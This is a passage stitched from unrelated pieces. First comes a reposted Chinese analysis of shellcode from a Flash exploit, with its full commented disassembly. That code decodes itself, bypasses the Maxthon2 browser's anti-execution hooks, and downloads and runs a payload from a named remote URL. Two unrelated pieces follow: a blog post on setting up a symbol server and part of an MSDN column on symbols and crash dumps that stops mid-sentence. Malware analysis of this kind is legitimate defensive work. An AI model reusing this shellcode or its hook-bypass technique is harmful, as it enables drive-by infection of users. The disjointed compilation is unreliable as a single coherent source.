轉貼:flash漏洞所用shellcode的分析

最近幾天flash漏洞的網馬非常流行，於是我想分析一下shellcode是怎麼跑的。

但是能力所限，還難以像大牛們一起定位到有漏洞的代碼及觀察整個溢出過程。於是，我只能做後面一部分工作，即看看那個畸形flash文件中的shellcode長得什麼樣子，它運行起來會有什麼動作。

我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置，在連文件頭偏移0xEB處開始。之後我將這段 shellcode拷貝到一個可執行文件的入口點開頭處，這樣我就可以在OD裡直接調試shellcode了。

調試過程中我發現，由於flash這次的漏洞，真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能，我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。

該shellcode的功能很全面，不但有一般shellcode的xor加密，獲取API地址和執行下載病毒並運行的操作，還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括：

1. shellcode有效時間限制，當發現系統時間遲於shellcode中保存的一個固定時間時，直接ExitThread。這應該是flash網馬生成器發佈者所做的，可能出於商業考慮，避免別人通過簡單修改病毒URL地址而生成自己的利用文件。

2. 從kernel32.dll的輸入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址，對這兩處地址進行 inline hook，hook到自身保存的相應的原始代碼中，並對CreateProcessInternalW的前面幾個字節進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行保存的措施而出台的anti方式。雖然這種方法早已被提出，是大家皆知的，但是在以前的網馬應用中，由於可用的緩衝區並不是 那麼大，不適於加入這些額外的代碼，因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次，我終於看到了一個實際利用的例子。

3. 使用CreateProcessInternalA進行最後下載到本機的病毒文件的執行。以前一般的shellcode是用WinExec。
下面是shellcode執行流程的分析，分析基本在註釋當中，標號(1)、(2)……代碼了執行流程順序，依照標號便可容易理解整個流程。

首先開始是一次xor解密，每兩個字節與0x4522進行異或。

00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)循環，在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下，跳入解密後的代碼
00407018 E8 E5FFFFFF call 00407002 ; (2)F7

接下來是解密後的實際代碼

首先是取得kernel32.dll中的API函數地址並填入後面的數據區。這裡使用的是很常用的方法，通過PEB得到kernel32.dll的基址， 然後通過遍歷其輸出表，把每一函數名稱字符串經過一個加密運算，再將結果與輸入的值比較，進而找到符合的API函數位置。

0040701D E9 65020000 jmp 00407287 ; (6)解密後代碼開頭，往下跳到最後
00407022 5F pop edi ; (8)定位自身地址，此時為後面數據區地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判斷是2000的系統還是XP，我這裡是XP，直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系統，則修改下面的數據
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)這裡F8就可以了，依照數據區開頭的幾個加密結果，遍歷輸出表找函數，把函數地址覆蓋掉原來的另密結果
00407054 ^ E2 F9 loopd short 0040704F ; 循環，直接在下面F4

這裡填入的API地址依次為（以此時相對esi的偏移，即下面調用時使用的[esi+XX]中的XX為序）
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接著搜索內存得到一個「retn」命令位置（實際上不一定是retn命令），用於後面的anti-debug。

00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)循環搜索內存特徵，其實是為了借用一個retn代碼來改變程序流程反調試
0040705C 8946 30 mov dword ptr [esi+30], eax ; 這裡搜索到的是7C801881

再接著遍歷kernel32.dll的輸入表，再取兩個NATIVE API函數的地址。

0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜索輸出表得到函數地址
00407067 ^ E2 F9 loopd short 00407062

這裡取到的地址是（以此時相對esi的偏移，即下面調用時使用的[esi+XX]中的XX為序）

0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory

接著是使用LoadLibraryA加載urlmon.dll並取得URLDownloadToFileA函數的地址。值得一提的是這裡不是直接call而是用在子函數裡用先push返回地址再jmp的方式。

00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; 'urlmon'
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一個純為了anti-debug而搞出來的子函數，直接在下一句下斷，再F9就不會跑飛
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函數地址並保存，直接F8，可以看到找到的函數是URLDownloadToFileA

URLDownloadToFileA函數地址被保存在[esi+2C]

在進入實質工作之前，就是附加的操作。

首先是時間限制的驗證
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆棧騰出FILETIME結構的內存空間
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系統時間如果晚於設定好的時間，則不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 這樣就直接ExitThread了，也就是這個shellcode的時間限制

我調試的時候，已經過了允許時間了，所以本來就會直接ExitThread，這時可以自己強行把EIP改到下一句，不讓它退出，繼續調試。

接下來的部分我認為比較讓我意外，就是我前面提到的，shellcode中自己保存了NATIVE API的原樣代碼，在這裡對NATIVE API進行了inline hook，hook到shellcode自帶的原樣代碼中，以及把CreateProcessInternalW前面的幾個字節進行了還原，從而破壞了一 些軟件的遊覽器執行保護功能，為自己執行被下載的病毒程序掃清了障礙，這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。

首先是將自身保存的NATIVE API原樣代碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡，我想是為了運行的穩定，如果inline hook直接指向shellcode內部，那麼shellcode執行完被清理掉之後，程序再調用相應NATIVE API的時候，就會崩潰掉。這裡把代碼拷進PEB後面的空間，可以保證在shellcode退出後這部分地址仍然能夠正常訪問，程序也還能正常運行（至少 看起來是那樣）。

004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB結構後面找到一塊空著的內存
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8]
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回這裡
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸擬NATIVE API的代碼拷進這塊內存，用於後面inline hook
004070CB 5E pop esi

接著，將「找到的」ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分，修改為「push XXX,retn」的樣式，以跳到之前拷貝的代碼中：

004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函數頭0x20為可讀可寫
004070D4 6A 1A push 1A ; 以下為直接對ZwCreateProcessEx進行inline hook
004070D6 6A 0D push 0D
004070D8 6A 00 push 0
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4]
004070DF C607 68 mov byte ptr [edi], 68 ; 代碼"push……"
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 內存中拷貝的代碼
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3

為什麼我上面特別強調「找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處」？
我們千萬不要忘記，這個做法是針對某些軟件的，衝著哪個軟件？
我想到了MAXTHON2。

搜索一下關於MAXTHON2的瀏覽器執行保護的文章，很早的文章顯示，MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢，shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址，這意味著什麼？
我大膽假設，當MAXTHON2遊覽漏洞利用網頁的時候，shellcode的執行環境就在其進程中，那麼，這時shellcode從kernel32.dll的輸入表中取到的地址，正是被MAXTHON2給hook掉的結果，直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之，因為接著它對這兩個地址的代碼進行了inline hook，又實際上轉回了原始的代碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效（本來就沒有失效）的情況下，其執行保護被繞過了。
接下來的動作進一步證實了這一點，對CreateProcessInternalW開頭的代碼進行還原，這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook？！

00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 還原前面的幾個字節，還原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]

做完了這些操作，shellcode最後終於進入自己的實質性工作了。

首先，得到Temp文件夾地址，並在後面加入「orz.exe」，作為病毒文件的本地地址

00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp文件夾路徑後面加入文件名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的文件名為"orz.exe"

為保險，先嘗試把這個路徑的文件刪除。

00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA

然後直接調用URLDownloadToFileA，從遠程地址http://www.0x4f.cn/test.exe下載病毒文件到orz.exe

00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址，"http://www.0x4f.cn/test.exe"
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA

最後，shellcode執行所下載的文件，注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對 CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護，病毒作者堅 信此時使用CreateProcessInternalA有非常大的可能可以成功。

00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 循環，在堆棧中清出一塊全0的空間
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 這裡應該會跳回原來溢出的位置，讓程序正常運行下去
0040718B C2 0400 retn 4

下面是前面的代碼調用到的子函數及數據。

首先是摸擬call的函數

0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入棧，這裡剛好是一個retn命令
004071A6 FFE0 jmp eax ; jmp進API函數開頭

接著是中間一個為了重定位所做的回call：

004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次為了重定位而跳回，這裡必須F7

再接著是被拷貝的NATIVE API原始代碼：

004071AD 6A 29 push 29
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20
004071BA 6A 30 push 30
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20
004071C7 6A 32 push 32
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call dword ptr [edx]
004071D1 C2 2400 retn 24
004071D4 B8 F0000000 mov eax, 0F0
004071D9 36:8D5424 04 lea edx, dword ptr [esp+4]
004071DE CD 2E int 2E
004071E0 C2 1400 retn 14
004071E3 B8 15010000 mov eax, 115
004071E8 EB 05 jmp short 004071EF
004071EA B8 1F010000 mov eax, 11F
004071EF BA 0003FE7F mov edx, 7FFE0300
004071F4 FF12 call dword ptr [edx]
004071F6 C2 1400 retn 14

接下來是用VirtualProtect改API函數入口的頁保護屬性的子函數

004071F9 52 push edx
004071FA 54 push esp
004071FB 6A 04 push 4
004071FD 6A 20 push 20
004071FF 57 push edi
00407200 FF56 14 call dword ptr [esi+14] ; ViturlProtect，修改函數前面0x20字節為可讀可寫
00407203 5A pop edx
00407204 C3 retn

接下來是遍歷kernel32.dll的輸入表找NATIVE API地址的函數，這些都是通用函數，shellcode用得比較多，就懶於再註釋了。

00407205 51 push ecx
00407206 8B45 3C mov eax, dword ptr [ebp+3C]
00407209 45 inc ebp
0040720A 8B5C28 7F mov ebx, dword ptr [eax+ebp+7F]
0040720E 4D dec ebp
0040720F 03DD add ebx, ebp
00407211 8B13 mov edx, dword ptr [ebx]
00407213 03D5 add edx, ebp
00407215 33C9 xor ecx, ecx
00407217 49 dec ecx
00407218 41 inc ecx
00407219 8B048A mov eax, dword ptr [edx+ecx*4]
0040721C 8D4428 02 lea eax, dword ptr [eax+ebp+2]
00407220 60 pushad
00407221 33C9 xor ecx, ecx
00407223 0FBE10 movsx edx, byte ptr [eax]
00407226 3AD6 cmp dl, dh
00407228 74 08 je short 00407232
0040722A C1C9 07 ror ecx, 7
0040722D 03CA add ecx, edx
0040722F 40 inc eax
00407230 ^ EB F1 jmp short 00407223
00407232 390F cmp dword ptr [edi], ecx
00407234 61 popad
00407235 ^ 75 E1 jnz short 00407218
00407237 8B43 10 mov eax, dword ptr [ebx+10]
0040723A 03C5 add eax, ebp
0040723C 8B0488 mov eax, dword ptr [eax+ecx*4]
0040723F AB stos dword ptr es:[edi]
00407240 59 pop ecx
00407241 C3 retn

代碼內容最後是遍歷PE文件輸出表得到API函數地址的子函數，同樣是通用的模塊，也懶於第N次註釋了：

00407242 51 push ecx
00407243 56 push esi
00407244 8B75 3C mov esi, dword ptr [ebp+3C]
00407247 8B742E 78 mov esi, dword ptr [esi+ebp+78]
0040724B 03F5 add esi, ebp
0040724D 56 push esi
0040724E 8B76 20 mov esi, dword ptr [esi+20]
00407251 03F5 add esi, ebp
00407253 33C9 xor ecx, ecx
00407255 49 dec ecx
00407256 41 inc ecx
00407257 AD lods dword ptr [esi]
00407258 03C5 add eax, ebp
0040725A 33DB xor ebx, ebx
0040725C 0FBE10 movsx edx, byte ptr [eax]
0040725F 3AD6 cmp dl, dh
00407261 74 08 je short 0040726B
00407263 C1CB 07 ror ebx, 7
00407266 03DA add ebx, edx
00407268 40 inc eax
00407269 ^ EB F1 jmp short 0040725C
0040726B 3B1F cmp ebx, dword ptr [edi]
0040726D ^ 75 E7 jnz short 00407256
0040726F 5E pop esi
00407270 8B5E 24 mov ebx, dword ptr [esi+24]
00407273 03DD add ebx, ebp
00407275 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
00407279 8B5E 1C mov ebx, dword ptr [esi+1C]
0040727C 03DD add ebx, ebp
0040727E 8B048B mov eax, dword ptr [ebx+ecx*4]
00407281 03C5 add eax, ebp
00407283 AB stos dword ptr es:[edi]
00407284 5E pop esi
00407285 59 pop ecx
00407286 C3 retn
00407287 E8 96FDFFFF call 00407022 ; (7)call回來，這裡要F7

代碼內容在這裡結束，後面是數據區，包括保存的API函數的地址（shellcode開始時為加密值，找到API地址後被替換為地址）以及下載的病毒URL，shellcode中屢屢用[esi+XX]的方式來訪問這部分內容，依照相對偏移依次為：

0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory
0x2C URLDownloadToFileA
0x30 搜索到的一句可用為retn的代碼地址
0x34 ASCII "http://www.0x4f.cn/test.exe"

至此，該shellcode分析完畢。應該說它是我見到的在實際應用中功能較為齊全的shellcode了，作者的一些構思都是有明顯實用目的的傾向的，也看出作者對編寫shellcode有一定的經驗和能力。

本篇分析只涉及shellcode所作的動作，對於此漏洞如何被觸發並使得shellcode被執行，因能力所限尚未能探究出來。

本人能力有限，這方面只是個菜鳥，以上分析難免有錯漏之處，還請大家不吝指正。

Setting up a Symbol Server Sandbox

September 29, 2007 by Lukas Blakk

After today’s IRC chat with luser, I now have a list of things to do in order to acheive 0.1:

• set up a localhost server
• make buildsymbols from my own build
• load those symbols onto the local server
• connect them up to my debugger to make sure it all works
• get the microsoft scripts to work adding source code to my local pdb files
• so that the debugger can access the source code from being pointed to my server

Starting off, I set up IIS on my computer so that I can have a localhost webserver. This was a bit tricky with some unexpected authentication issues but I think that I have it working now. If I point my browser to http://localhost/symbolServer/ I have a directory of the pdb files that I created by calling make buildsymbols in my objdir.

The next move was to point my debugger (Visual Studio 2005) to the localhost symbol server. However, this is where I got stuck. I could load up the microsoft symbols but it would skip right over my firefox ones.

So I’m going back to square 1. I’m rebuilding with debug disabled because this may be a part of the issue. If this doesn’t work I need to look into either a) symbol server directory structure because maybe I’m missing something about the hierarchy or b) perhaps my IIS set-up authentication issues are preventing VStudio from accessing the symbols.

Of course, in the back of my head I know it could also be c) something else entirely.

Back to the building.

--------------------------------我是分隔線------------------------------------------------------------

From the June 2002 issue of MSDN Magazine.

Symbols and Crash Dumps Download the code for this article: Bugslayer0206.exe (671KB) I don't know about you, but in my day job I'm bouncing back and forth so much between .NET and Win32® that my head is spinning. In this month's installment of Bugslayer, I want to discuss some very cool advances that Microsoft® has developed to make debugging your Win32-based applications easier. Anything you can do to stamp out those Win32 bugs faster means you can spend more time playing with your XML Web Services! I'll start out this column by covering the hot new symbol server technology that will revolutionize how you deal with symbols and stack traces. After a tour of the symbol heaven, I'll discuss the new crash dump handling in Visual Studio® .NET as well as the new WinDBG so you can debug crashes after the fact just as if you were there. The last part of the column will be devoted to a utility that will quickly pull the important information out of crash dumps so you don't even have to open them in the debuggers! Symbol Servers Getting the correct symbols lined up between your application and the operating system is the secret to debugging faster. You know what happens when you don't get them coordinated; you get that beautiful call stack that has exactly one item in it. The reason symbols are so vital is that the Frame Pointer Omission (FPO) data is included as part of the PDB file. While you might think you have it tough messing with symbols, imagine how hard the Windows® operating system developers' lives must be. Whereas you have an application you might think is pretty big, the operating system developers have the largest commercial application in the world. I know people on the operating system team at Microsoft and I've asked if they get any help from the users debugging their applications. They all have laughed and told me that they get as much help with the operating system as I got when I was writing developer tools for a living. In other words, none. Of course, they have many more versions of the operating system running at any given time than you could ever imagine. During a development cycle they might have anywhere up to 10,000 different builds running around the world. If you think you have trouble getting symbols to match, you have nothing on them! Developers at Microsoft realized they had to do something to make life easier for themselves as well as their customers. Thus was born Symbol Servers. The concept is simple: store all the symbols for all public builds in a known location and make the debuggers smarter so they load the correct symbols without any user interaction. The beauty is that the reality is nearly that simple as well! There are a few small issues, which I'll point out in this column, but with the Symbol Server properly set up, you'll never want for symbols again. The first step towards symbol nirvana is to download the latest version of WinDBG from http://www.microsoft.com/ddk/debugging as the Symbol Server binaries are developed by the WinDBG team. You will want to check back for updated versions of WinDBG, as the team seems to be on a fairly quick release schedule and are releasing updated versions every few months. After installing WinDBG, add the installation directory to the master PATH environment variable. The two key binaries, SYMSRV.DLL and SYMSTORE.EXE, must be accessible to read from and write to your Symbol Servers. Figure 1 SYMSRV The Symbol Store itself is simply a database that happens to use the file system to find the files. Figure 1 shows a partial listing from Explorer of the tree for the Symbol Server on one of my computers. The root directory is WebSymbols, and each symbol file, such as ADVAPI32.PDB, is listed at the first level. Under each symbol file name is a directory that corresponds to the date/time stamp, signature, and other information necessary to completely recognize a particular version of that symbol file. Keep in mind that if you have multiple versions of a file such as ADVAPI32.PDB for different operating system builds, you'll have multiple directories under ADVAPI32.PDB for each unique version you have accessed. In the signature directory, you'll probably have the particular symbol file for that version. There are provisions for having special text files to point to other locations in the Symbol Store, but by following my recommendation, you'll have the actual symbol files. Actually creating your Symbol Server takes two excruciatingly difficult steps. First, create a folder on a server giving everyone in the development team read and write access and ensure that you have plenty of disk space available. Second, share that folder for all developers. You'll probably want the server and share name to be something like \SymbolsSymbols or something easily remembered. The absolute beauty of the Symbol Server reveals itself when you populate it with operating system symbols. If you've been a good bugslayer over the years, you are probably already installing the operating system symbols on your machine. That's always been a little frustrating as you probably have a few hot fixes installed and certain operating system symbols never include the hot fix symbols. The great news with Symbol Servers is that you can be guaranteed of always getting the right operating system symbols with no work whatsoever! This is a huge boon. The magic here is that Microsoft has made the symbols for all released operating systems, from Windows NT® 4.0 through the latest beta release of Windows Server 2003, including all operating system hot fixes, ready for download. To experience the magic, you need to set your _NT_SYMBOL_PATH environment variable to SRV*\SymbolsSymbols* http://msdl.microsoft.com/download/symbols. Please note that I am assuming that your symbol store will be on a server called \Symbols in a shared folder called Symbols. If yours are different, just substitute your values. When you next start debugging, the debuggers will see that _NT_SYMBOL_PATH is set, automatically start downloading the operating symbols from Microsoft over HTTP, and put them in your Symbol Store if the symbol file has not already been downloaded. Remember, the Symbol Server will only download the symbols it needs, not every single operating system symbol. That's why putting the Symbol Store in a shared directory is so important; if one of your teammates has already downloaded the symbol, you avoid a potentially long download. That takes care of the appropriate operating system symbols, so let's turn to getting your product symbols into the Symbol Server. SYMSTORE.EXE is a command-line utility that lets you add to your Symbol Store whole directory trees that contain symbols. SYMSTORE.EXE has a number of command-line switches (see Figure 2). The best way to use SYMSTORE.EXE is to have it automatically add your complete build tree at the end of a daily build or milestone build. You probably do not want to have developers adding their local builds unless you are really into chewing up tons of disk space. For example, the following command will store all PDB and binary files in your symbol store for all directories found under D:BUILDRELEASE, inclusive: symstore add /r /f d:buildrelease*.* /s \SymbolsSymbols /t "MyApp" /v "Build 632" It's nice to have the binaries stored in your Symbol Store so your crash dumps can automatically line up the binaries, but you can eat up a lot of disk space doing that. If you only want to include the PDB files, you can use the following: symstore add /r /f d:buildrelease*.PDB /s \SymbolsSymbols /t "MyApp" /v "Build 632" There's lots more to read about SYMSTORE.EXE and Symbol Servers in the WinDBG documentation under Symbols; what I have discussed here are the steps that I have found to work well for me. I've been amazed how well the Symbol Server works and have been able to debug much faster because I nearly always have perfect call stacks. Crash Dumps What's really fantastic about Symbol Servers is that both WinDBG and Visual Studio .NET will use them if you are reading crash dumps as well. Just in case you are coming from one of those other operating systems, crash dumps are what Microsoft calls the user mode dump of the process when it crashes. Dr. Watson, the default debugger, writes crash dumps if you check the Create Crash Dump button shown in Figure 3. As you can guess, crash dumps are almost the next best thing to sitting there watching the application crash. Figure 3 Create Crash Dump As most folks realize, WinDBG has been able to read and process crash dumps for quite a while. What might be news though is that Visual Studio .NET can also handle crash dumps perfectly. That's great, because the UI of WinDBG takes minimalism to a new level. Handling a crash dump is quite easy in Visual Studio .NET, but getting one opened is a little confusing. Start with a fresh instance of Visual Studio .NET and select Open Solution from the File menu. In the File Open dialog, select the fifth item down in the Files of Type combo box, Dump Files (*.dmp; *.mdmp). Navigate to the directory with your crash dump file and open it. That will create a new solution which you'll need to save. To start viewing the crash dump, simply press one of the debugging keys such as F5 (Go) or F10 (Step). You'll see the message box pop up reporting the error and, if you have all the appropriate symbols and source, you'll be dropped right on the line where you had the crash. It's that simple! Both debuggers can write out crash dumps at any point during debugging. I do this frequently when tracking down tough problems so I can quickly look at the various stages I saw when debugging. This saves huge amounts of time. Writing a dump from Visual Studio .NET is as simple as clicking on the Debug menu while debugging and selecting the last item on the menu, Save Dump As. Visual Studio .NET can write out two types of crash dumps. The minidump contains module information, such as name and date/time stamp, and the call stacks of all the threads. Minidumps are very small, on the order of 3-10KB. A minidump with heap, on the other hand, writes out the same information but also writes out all the memory marked as allocated memory. This way you can look at what pointer variables point to. Minidumps with heap are quite a bit larger; for simple "Hello World!" programs they're on the order of 2.5MB. In WinDBG, creating crash dumps is done with the .dump command. One additional feature of WinDBG's crashes is that you also have all the handle data for the process stored in the crash dump with the .dump/mh command. With the !handle command you can then see the exact state of your handles right from the crash dump. This is invaluable for tracking down deadlocks. You can even write out your own crash dumps at any time by calling the MiniDumpWriteDump API function from DBGHELP.DLL. Keep in mind that you must use the latest version of DBGHELP.DLL from the WinDBG installation in order for this function to work correctly. The only gotcha is that if you call MiniDumpWriteDump on yourself, your crash dump will start in the middle of MiniDumpWriteDump, which might mean you can't walk the stack back to your own code. Thus, BugslayerUtil.DLL contains a function called CreateCurrentProcessMiniDump that will properly wrap the call to MiniDumpWriteDump so you can get the best crash dumps possible just when you need them. The Debugging Engine While it's wonderful to have crash dumps, you always do the same thing when you load them up; you enumerate the threads so you can see where each one is. Since I am basically lazy, I wanted a tool that would just give me the information I always looked for so I didn't even have to start the debugger. I started poking through the docs looking for a way to read dump files and eventually ran across a mention that WinDBG is really a shell on top of a debugging engine. I figured if I could get the interface to that debugging engine, I could easily write a tool to dump the cool stuff. Hidden in the WinDBG installation is a node that says SDK, but is not set to install by default. I set it to "Will be installed on local hard drive" and got the header files and libraries for DBGENG.DLL, the debugger engine. Figure 4 Setting Up the WinDBG SDK If you look at Figure 4, which shows what you need to do to install the WinDBG SDK, you'll notice there's not an installation node for Documentation. What makes using DBGENG.DLL fun is that the only documentation is the comment section in the header file DBGENG.H. For the most part, the comments can get you going, but until there's full documentation, you are going to have to spend some time playing with parameters to figure out what some APIs expect (see Figure 5). Oddly, the interface appears like it's all COM-based. While it uses interfaces, it does not use OLE32.DLL at all. Think of the API as pseudo-COM. It's also pseudo-COM in the sense that you get all the pain of reference counting, but none of benefits of enumerators and the like. Another issue with the interface is that it is essentially the internal interface to WinDBG. Some of the interfaces and methods return items in what is obviously internal WinDBG format. Additionally, the engine outputs lots of text messages that could make your application look just like the WinDBG Command window if you don't suppress it. All in all, the fact that there is a debugging engine more than makes up for the quirks in the interface. In Figure 5, I list only the most derived interfaces as it looks like the "2" interfaces are the latest and most complete. Since you can't call CoCreateXxx on the debugging engine interfaces, DBGENG.DLL exports two functions, DebugConnect and DebugCreate, to create the specific interfaces for you. The best way to get started with the debugging engine is to compile and carefully step through the DUMPSTK sample included with the SDK installation. The only problem is that it doesn't work. DUMPSTK is supposed to dump the call stacks for a dump file. I nearly drove myself nuts wondering why the code did not work as expected. The key method to get the debugging engine cranking is IDebugControl::WaitForEvent. Whenever DUMPSTK calls it, it always returns E_INVALIDARG. Since it only takes two unsigned longs, the flags to indicate what you are waiting on, such as the initial breakpoint, and the time to wait, I was completely confused. It slowly dawned on me that DBGENG.DLL was complaining that the image path and symbols path were not both set. I set the environment variable _NT_IMAGE_PATH, thinking it might get picked up, and all of a sudden IDebugControl::WaitForEvent started working. There's nothing like 